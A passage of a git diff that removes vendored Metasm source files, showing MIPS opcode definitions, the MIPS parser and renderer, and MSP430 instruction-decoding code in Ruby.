:rs_i16, :mu8 # load byte unsigned - addop 'lhu', 0b100101 << 26, :rt, :rs_i16, :mu16 # load halfword unsigned - addop 'lwr', 0b100110 << 26, :rt, :rs_i16 # load word right - - addop 'sb', 0b101000 << 26, :rt, :rs_i16, :mi8 # store byte - addop 'sh', 0b101001 << 26, :rt, :rs_i16, :mi16 # store halfword - addop 'swl', 0b101010 << 26, :rt, :rs_i16 # store word left - addop 'sw', 0b101011 << 26, :rt, :rs_i16 # store word - addop 'swr', 0b101110 << 26, :rt, :rs_i16 # store word right - - addop 'll', 0b110000 << 26, :rt, :rs_i16 # load linked word (read for atomic r/modify/w, sc does the w) - addop 'sc', 0b111000 << 26, :rt, :rs_i16 # store conditional word - - addop 'lwc1', 0b110001 << 26, :ft, :rs_i16 # load word in fpreg low - addop 'swc1', 0b111001 << 26, :ft, :rs_i16 # store low fpreg word - addop 'lwc2', 0b110010 << 26, :rt, :rs_i16 # load word to copro2 register low - addop 'swc2', 0b111010 << 26, :rt, :rs_i16 # store low coproc2 register - - addop 'ldc1', 0b110101 << 26, :ft, :rs_i16 # load dword in fpreg low - addop 'sdc1', 0b111101 << 26, :ft, :rs_i16 # store fpreg - addop 'ldc2', 0b110110 << 26, :rt, :rs_i16 # load dword to copro2 register - addop 'sdc2', 0b111110 << 26, :rt, :rs_i16 # store coproc2 register - - addop 'pref', 0b110011 << 26, :it, :rs_i16 # prefetch (it = %w[load store r2 r3 load_streamed store_streamed load_retained store_retained - # r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 writeback_invalidate - # id26 id27 id28 id29 prepare_for_store id31] - addop 'cache',0b101111 << 26, :it, :rs_i16 # do things with the proc cache - - # special - addop 'nop', 0 - addop 'ssnop',1<<6 - addop 'ehb', 3<<6 - addop 'sll', 0b000000, :rd, :rt, :sa - addop 'movf', 0b000001, :rd, :rs, :cc - addop 'movt', 0b000001 | (1<<16), :rd, :rs, :cc - addop 'srl', 0b000010, :rd, :rt, :sa - addop 'sra', 0b000011, :rd, :rt, :sa - addop 'sllv', 0b000100, :rd, :rt, :rs - addop 'srlv', 0b000110, :rd, :rt, :rs - addop 'srav', 0b000111, :rd, :rt, :rs - - addop 'jr', 0b001000, :rs, :setip, :stopexec # hint field ? - addop 'jr.hb',0b001000 | (1<<10), :rs, :setip, :stopexec - addop 'jalr', 0b001001 | (31<<11), :rs, :setip, :stopexec, :saveip # rd = r31 implicit - addop 'jalr', 0b001001, :rd, :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10) | (31<<11), :rs, :setip, :stopexec, :saveip - addop 'jalr.hb', 0b001001 | (1<<10), :rd, :rs, :setip, :stopexec, :saveip - addop 'movz', 0b001010, :rd, :rs, :rt # rt == 0 ? rd <- rs - addop 'movn', 0b001011, :rd, :rs, :rt - addop 'syscall', 0b001100, :i20 - addop 'break',0b001101, :i20, :stopexec - addop 'sync', 0b001111 # type 0 implicit - addop 'sync', 0b001111, :sa - - addop 'mfhi', 0b010000, :rd # copies special reg HI to reg - addop 'mthi', 0b010001, :rs # copies reg to special reg HI - addop 'mflo', 0b010010, :rd # copies special reg LO to reg - addop 'mtlo', 0b010011, :rs # copies reg to special reg LO - - addop 'mult', 0b011000, :rs, :rt # multiplies the registers and store the result in HI:LO - addop 'multu',0b011001, :rs, :rt - addop 'div', 0b011010, :rs, :rt - addop 'divu', 0b011011, :rs, :rt - addop 'add', 0b100000, :rd, :rs, :rt - addop 'addu', 0b100001, :rd, :rs, :rt - addop 'sub', 0b100010, :rd, :rs, :rt - addop 'subu', 0b100011, :rd, :rs, :rt - addop 'and', 0b100100, :rd, :rs, :rt - addop 'or', 0b100101, :rd, :rs, :rt - addop 'xor', 0b100110, :rd, :rs, :rt - addop 'not', 0b100111, :rd, :rt # nor $0 - addop 'not', 0b100111, :rd, :rs - addop 'nor', 0b100111, :rd, :rs, :rt - - addop 'slt', 0b101010, :rd, :rs, :rt # rs= rt ? trap - addop 'tgeu', 0b110001, :rs, :rt - addop 'tlt', 0b110010, :rs, :rt - addop 'tltu', 0b110011, :rs, :rt - addop 'teq', 0b110100, :rs, :rt - addop 'tne', 0b110110, :rs, :rt - - - # regimm - addop 'bltz', (1<<26) | (0b00000<<16), :rs, :i16, :setip - addop 'bgez', (1<<26) | (0b00001<<16), :rs, :i16, :setip - addop 'tgei', (1<<26) | (0b01000<<16), :rs, :i16, :setip - addop 'tgfiu',(1<<26) | (0b01001<<16), :rs, :i16, :setip - addop 'tlti', (1<<26) | (0b01010<<16), :rs, :i16, :setip - addop 'tltiu',(1<<26) | (0b01011<<16), :rs, :i16, :setip - addop 'teqi', (1<<26) | (0b01100<<16), :rs, :i16, :setip - addop 'tnei', (1<<26) | (0b01110<<16), :rs, :i16, :setip - addop 'bltzal', (1<<26) | (0b10000<<16), :rs, :i16, :setip, :saveip - addop 'bgezal', (1<<26) | (0b10001<<16), :i16, :setip, :stopexec, :saveip # bgezal $zero => unconditionnal - addop 'bgezal', (1<<26) | (0b10001<<16), :rs, :i16, :setip, :saveip - - - # special2 - addop 'madd', (0b011100<<26) | 0b000000, :rs, :rt - addop 'maddu',(0b011100<<26) | 0b000001, :rs, :rt - addop 'mul', (0b011100<<26) | 0b000010, :rd, :rs, :rt - addop 'msub', (0b011100<<26) | 0b000100, :rs, :rt - addop 'msubu',(0b011100<<26) | 0b000101, :rs, :rt - addop 'clz', (0b011100<<26) | 0b100000, :rd, :rs, :rt # must have rs == rt - addop 'clo', (0b011100<<26) | 0b100001, :rd, :rs, :rt # must have rs == rt - addop 'sdbbp',(0b011100<<26) | 0b111111, :i20 - - - # cp0 - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb - addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb - addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel - - addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001 - addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010 - addop 'tlbwr',(0b010000<<26) | (1<<25) | 0b000110 - addop 'tlbp', (0b010000<<26) | (1<<25) | 0b001000 - addop 'eret', (0b010000<<26) | (1<<25) | 0b011000 - addop 'deret',(0b010000<<26) | (1<<25) | 0b011111 - addop 'wait', (0b010000<<26) | (1<<25) | 0b100000 # mode field ? - end - - def init_mips32r2 - init_mips32 - - addop 'rotr', 0b000010 | (1<<21), :rd, :rt, :sa - addop 'rotrv',0b000110 | (1<<6), :rd, :rt, :rs - - addop 'synci',(1<<26) | (0b11111<<16), :rs_i16 - - # special3 - addop 'ext', (0b011111<<26) | 0b000000, :rt, :rs, :sa, :idm1 - addop 'ins', (0b011111<<26) | 0b000100, :rt, :rs, :sa, :idb - addop 'rdhwr',(0b011111<<26)| 0b111011, :rt, :rd - addop 'wsbh',(0b011111<<26) | (0b00010<<6) | 0b100000, :rd, :rt - addop 'seb', (0b011111<<26) | (0b10000<<6) | 0b100000, :rd, :rt - addop 'seh', (0b011111<<26) | (0b11000<<6) | 0b100000, :rd, :rt - - # cp0 - addop 'rdpgpr', (0b010000<<26) | (0b01010<<21), :rd, :rt - addop 'wrpgpr', (0b010000<<26) | (0b01110<<21), :rd, :rt - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5) - addop 'di', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (0<<5), :rt - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5) - addop 'ei', (0b010000<<26) | (0b01011<<21) | (0b01100<<11) | (1<<5), :rt - end - alias init_latest init_mips32r2 -end - -class MIPS64 - def init_mips64 - init_mips32r2 - @valid_props.update :mi64 => true - - addop 'ld', 0b110111 << 26, :rt, :rs_i16, :m64 - addop 'lwu', 0b100111 << 26, :rt, :rs_i16 - addop 'sd', 0b111111 << 26, :rt, :rs_i16, :m64 - addop 'scd', 0b111100 << 26, :rt, :rs_i16, :m64 - addop 'ldl', 0b011010 << 26, :rt, :rs_i16 - addop 'ldr', 0b011011 << 26, :rt, :rs_i16 - addop 'sdl', 0b101100 << 26, :rt, :rs_i16 - addop 'sdr', 0b101101 << 26, :rt, :rs_i16 - addop 'lld', 0b110100 << 26, :rt, :rs_i16 - addop 'daddi', 0b011000 << 26, :rt, :rs, :i16 - addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16 - - addop 'dclo', (0b011100 << 26) | (0b100101), :rd, :rt, :rs - addop 'dclz', (0b011100 << 26) | (0b100100), :rd, :rt, :rs - - addop 'dadd', 0b101100, :rd, :rs, :rt - addop 'daddu', 0b101101, :rd, :rs, :rt - addop 'dsub', 0b101110, :rd, :rs, :rt - addop 'dsubu', 0b101111, :rd, :rs, :rt - addop 'dsll', 0b111000, :rd, :rt, :sa - addop 'dsll32', 0b111100, :rd, :rt, :sa - addop 'dsllv', 0b010100, :rd, :rt, :rs - addop 'dsra', 0b111011, :rd, :rt, :sa - addop 'dsra32', 0b111111, :rd, :rt, :sa - addop 'dsrav', 0b010111, :rd, :rt, :rs - addop 'dsrl', 0b111010, :rd, :rt, :sa - addop 'dsrl32', 0b111110, :rd, :rt, :sa - addop 'dsrlv', 0b010110, :rd, :rt, :rs - addop 'ddiv', 0b011110, :rs, :rt - addop 'ddivu', 0b011111, :rs, :rt - addop 'dmult', 0b011100, :rs, :rt - addop 'dmultu', 0b011101, :rs, :rt - - addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb - addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel - addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb - addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel - end - - def init_mips64r2 - init_mips64 - @fields_mask.update :msbd => 0x1f - @fields_shift.update :msbd => 11 - - addop 'dext', (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd # sa => lsb - addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd - addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd - addop 'dins', (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd - addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd - addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd - - addop 'drotr', (1 << 21) | 0b111010, :rd, :rt, :sa - addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa - addop 'drotrv', (1 << 6) | 0b010110, :rd, :rt, :rs - - addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt - addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt - end - - alias init_latest init_mips64r2 -end -end -__END__ - def macro_addop_cop1(name, bin, *aprops) - flds = [ :rt, :fs ] - addop name, :cop1, bin, 'rt, fs', flds, *aprops - end - - def macro_addop_cop1_precision(name, type, bin, fmt, *aprops) - flds = [ :ft, :fs, :fd ] - addop name+'.'+(type.to_s[5,7]), type, bin, fmt, flds, *aprops - end - - - public - # Initialize the instruction set with the MIPS32 Instruction Set - def init_mips32 - :cc => [7, 18, :fpcc], - :op => [0x1F, 16, :op ], :cp2_rt => [0x1F, 16, :cp2_reg ], - :stype => [0x1F, 6, :imm ], - :code => [0xFFFFF, 6, :code ], - :sel => [3, 0, :sel ]}) - - # --------------------------------------------------------------- - # COP0, field rs - # --------------------------------------------------------------- - - addop 'mfc0', :cop0, 0b00000, 'rt, rd, sel', [ :rt, :rd, :sel ] - addop 'mtc0', :cop0, 0b00100, 'rt, rd, sel', [ :rt, :rd, :sel ] - - # --------------------------------------------------------------- - # COP0 when rs=C0 - # --------------------------------------------------------------- - - macro_addop_cop0_c0 'tlbr', 0b000001 - macro_addop_cop0_c0 'tlbwi', 0b000010 - macro_addop_cop0_c0 'tlwr', 0b000110 - macro_addop_cop0_c0 'tlbp', 0b001000 - macro_addop_cop0_c0 'eret', 0b011000 - macro_addop_cop0_c0 'deret', 0b011111 - macro_addop_cop0_c0 'wait', 0b100000 - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 'mfc1', 0b00000 - macro_addop_cop1 'cfc1', 0b00010 - macro_addop_cop1 'mtc1', 0b00100 - macro_addop_cop1 'ctc1', 0b00110 - - addop "bc1f", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 0 ] - addop "bc1fl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 2 ] - addop "bc1t", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 1 ] - addop "bc1tl", :cop1, 0b01000, 'cc, off', [ :cc, :off ], :diff_bits, [ 16, 3, 3 ] - - # --------------------------------------------------------------- - # COP1, field rs=S/D - # --------------------------------------------------------------- - - [ :cop1_s, :cop1_d ].each do |type| - type_str = type.to_s[5,7] - - macro_addop_cop1_precision 'add', type, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', type, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', type, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', type, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', type, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', type, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', type, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', type, 0b010011, 'fd, fs, ft' - - addop "movf.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 0 ] - addop "movt.#{type_str}", type, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ], :diff_bits, [ 16, 1, 1 ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.#{type_str}", type, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - end - end - - # S and D Without PS - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'div', type, 0b000011, 'fd, fs, ft' - macro_addop_cop1_precision 'sqrt', type, 0b000100, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'round.w', type, 0b001100, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.w', type, 0b001101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.w', type, 0b001110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.w', type, 0b001111, 'fd, fs', :ft_zero - - end - - # COP2 is not decoded (pretty useless) - - [:cop1_d,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.s', type, 0b100000, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_w].each { |type| macro_addop_cop1_precision 'cvt.d', type, 0b100001, 'fd, fs', :ft_zero } - [:cop1_s,:cop1_d].each { |type| macro_addop_cop1_precision 'cvt.w', type, 0b100100, 'fd, fs', :ft_zero } - - [ :normal, :special, :regimm, :special2, :cop0, :cop0_c0, :cop1, :cop1_s, - :cop1_d, :cop1_w ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - # Initialize the instruction set with the MIPS32 Instruction Set Release 2 - def init_mips64 - init_mips32 - - #SPECIAL - macro_addop_special "rotr", 0b000010, 'rd, rt, sa', :diff_bits, [ 26, 1, 1 ] - macro_addop_special "rotrv", 0b000110, 'rd, rt, rs', :diff_bits, [ 6, 1, 1 ] - - # REGIMM - addop "synci", :regimm, 0b11111, '', {:base => [5,21], :off => [16, 0] } - - # --------------------------------------------------------------- - # SPECIAL3 opcode encoding of function field - # --------------------------------------------------------------- - - addop "ext", :special3, 0b00000, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msbd => [5, 11], :lsb => [5, 6] } - addop "ins", :special3, 0b00100, 'rt, rs, pos, size', { :rs => [5, 21], :rt => [5, 16], - :msb => [5, 11], :lsb => [5, 6] } - - addop "rdhwr", :special3, 0b111011, 'rt, rd', { :rt => [5, 16], :rd => [5, 11] } - - addop "wsbh", :bshfl, 0b00010, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seb", :bshfl, 0b10000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - addop "seh", :bshfl, 0b11000, 'rd, rt', { :rt => [5, 16], :rd => [5, 11] } - - # --------------------------------------------------------------- - # COP0 - # --------------------------------------------------------------- - - addop "rdpgpr", :cop0, 0b01010, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "wdpgpr", :cop0, 0b01110, 'rt, rd', {:rt => [5, 16], :rd => [5, 11] } - addop "di", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 0] - addop "ei", :cop0, 0b01011, '', {}, :diff_bits, [ 5, 1 , 1] - - # --------------------------------------------------------------- - # COP1, field rs - # --------------------------------------------------------------- - - macro_addop_cop1 "mfhc1", 0b00011 - macro_addop_cop1 "mthc1", 0b00111 - - # Floating point - - [:cop1_s, :cop1_d].each do |type| - macro_addop_cop1_precision 'round.l', type, 0b001000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'trunc.l', type, 0b001001, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'ceil.l', type, 0b001010, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'floor.l', type, 0b001011, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'recip', type, 0b010101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'rsqrt', type, 0b010110, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'cvt.l', type, 0b100101, 'fd, fs', :ft_zero - end - macro_addop_cop1_precision 'cvt.ps', :cop1_s, 0b100110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.s', :cop1_l, 0b100000, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'cvt.d', :cop1_l, 0b100000, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'add', :cop1_ps, 0b000000, 'fd, fs, ft' - macro_addop_cop1_precision 'sub', :cop1_ps, 0b000001, 'fd, fs, ft' - macro_addop_cop1_precision 'mul', :cop1_ps, 0b000010, 'fd, fs, ft' - macro_addop_cop1_precision 'abs', :cop1_ps, 0b000101, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'mov', :cop1_ps, 0b000110, 'fd, fs', :ft_zero - macro_addop_cop1_precision 'neg', :cop1_ps, 0b000111, 'fd, fs', :ft_zero - - macro_addop_cop1_precision 'movz', :cop1_ps, 0b010010, 'fd, fs, ft' - macro_addop_cop1_precision 'movn', :cop1_ps, 0b010011, 'fd, fs, ft' - - addop "movf.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - addop "movt.#{:cop1_ps_str}", :cop1_ps, 0b010001, 'fd, fs, cc', [ :cc, :fs, :fd ] - - %w(f un eq ueq olt ult ole ule sf ngle seq ngl lt nge le ngt).each_with_index do |cond, index| - addop "c.#{cond}.ps", :cop1_cond, 0b110000+index, 'cc, fs, ft', - [ :ft, :fs, :cc ] - - # TODO: COP1X - - [ :special3, :bshfl, :cop1_l, :cop1_ps ].each \ - { |t| @@opcodes_by_class[t] = opcode_list.find_all { |o| o.type == t } } - end - - end - - # Reset all instructions - def reset - metaprops_allowed.clear - args_allowed.clear - props_allowed.clear - fields_spec.clear - opcode_list.clear - end - -end - # Array containing all the supported opcodes - attr_accessor :opcode_list - - init_mips32 -end - -end diff --git a/lib/metasm/metasm/cpu/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb deleted file mode 100644 index e7daeac27b..0000000000 --- a/lib/metasm/metasm/cpu/mips/parse.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/parse' - -module Metasm -class MIPS - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb deleted file mode 100644 index 31ad15a331..0000000000 --- a/lib/metasm/metasm/cpu/mips/render.rb +++ /dev/null @@ -1,43 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/mips/opcodes' -require 'metasm/render' - -module Metasm -class MIPS - class Reg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class FpReg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class Memref - include Renderable - def render ; [@offset, '(', @base, ')'] end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - if (a = i.args.first).kind_of? Expression and a.op == :- and a.lexpr.kind_of? String and a.rexpr.kind_of? String and opcode_list_byname[i.opname].first.props[:setip] - # jmp foo is stored as jmp foo - bar ; bar: - r << a.lexpr - else - i.args.each { |a_| - r << a_ << ', ' - } - r.pop - end - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430.rb b/lib/metasm/metasm/cpu/msp430.rb deleted file mode 100644 index 78e89bcd8d..0000000000 --- a/lib/metasm/metasm/cpu/msp430.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/msp430/decode' diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb deleted file mode 100644 index 2eb694243d..0000000000 --- a/lib/metasm/metasm/cpu/msp430/decode.rb +++ /dev/null @@ -1,247 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/msp430/opcodes' -require 'metasm/decode' - -module Metasm -class MSP430 - def build_opcode_bin_mask(op) - op.bin_mask = 0 - op.fields.each_key { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = (op.bin >> 8) & 255 - msk = (op.bin_mask >> 8) & 255 - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin } - di if di.opcode - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u16, @endianness) - - field_val = lambda{ |f| - (val >> @fields_shift[f]) & @fields_mask[f] - } - - # must decode rs first - vals = {} - ([:rs, :rd, :r_pc] & op.args).each { |a| - mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a] - mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad - - if a == :r_pc - r = Reg.new(0) - else - r = Reg.new(field_val[a]) - end - - w = op.props[:byte] ? 1 : 2 - - case field_val[mod] - when 0 - if r.i == 3 and a == :rs - vals[a] = Expression[0] - else - vals[a] = r - end - when 1 - if r.i == 3 and a == :rs - vals[a] = Expression[1] - else - imm = edata.decode_imm(:u16, @endianness) - r = nil if r.i == 2 # [imm] - vals[a] = Memref.new(r, imm, w) - end - when 2 - if r.i == 3 - vals[a] = Expression[2] - elsif r.i == 2 - vals[a] = Expression[4] - else - vals[a] = Memref.new(r, 0, w) - end - when 3 - if r.i == 3 - vals[a] = Expression[-1] - elsif r.i == 2 - vals[a] = Expression[8] - elsif r.i == 0 # pc++ - # XXX order wrt other edata.decode_imm ? - vals[a] = Expression[edata.decode_imm(:u16, @endianness)] - else - vals[a] = Memref.new(r, 0, w, true) - end - end - } - - op.args.each { |a| - di.instruction.args << case a - when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)] - when :rs, :rd, :r_pc; vals[a] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.opcode.name =~ /^j/ - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.map { |ol| ol.name }.uniq.each { |op| - @backtrace_binding[op] ||= case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }} - when 'cmp', 'test'; lambda { |di, *a| {} } # TODO - when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } - when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } - when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } } - when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } } - when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } } - when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0], - :sp => Expression[:sp, :-, 2] } } - when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr], - :sp => Expression[:sp, :-, 2] } } - when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]], - :sp => Expression[:sp, :+, 2] } } - when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } } - when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } } - when /^j/; lambda { |di, a0| {} } - end - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] || {} - di.instruction.args.grep(Memref).each { |m| - next unless r = m.base and m.postincr - r = m.base.symbolic - bd[r] ||= Expression[r, :+, m.size] - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - case di.instruction.opname - when 'ret' - return [Indirection[:sp, 2, di.address]] - when 'reti' - return [Indirection[[:sp, :+, 2], 2, di.address]] - end - - # XXX add pc, 42 ? - val = di.instruction.args[0] - case val - when Reg; val = val.symbolic - when Memref; val = val.symbolic(di.address) - end - - [Expression[val]] - end - - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb deleted file mode 100644 index fba9fa6689..0000000000 --- a/lib/metasm/metasm/cpu/msp430/main.rb +++ /dev/null @@ -1,62 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the 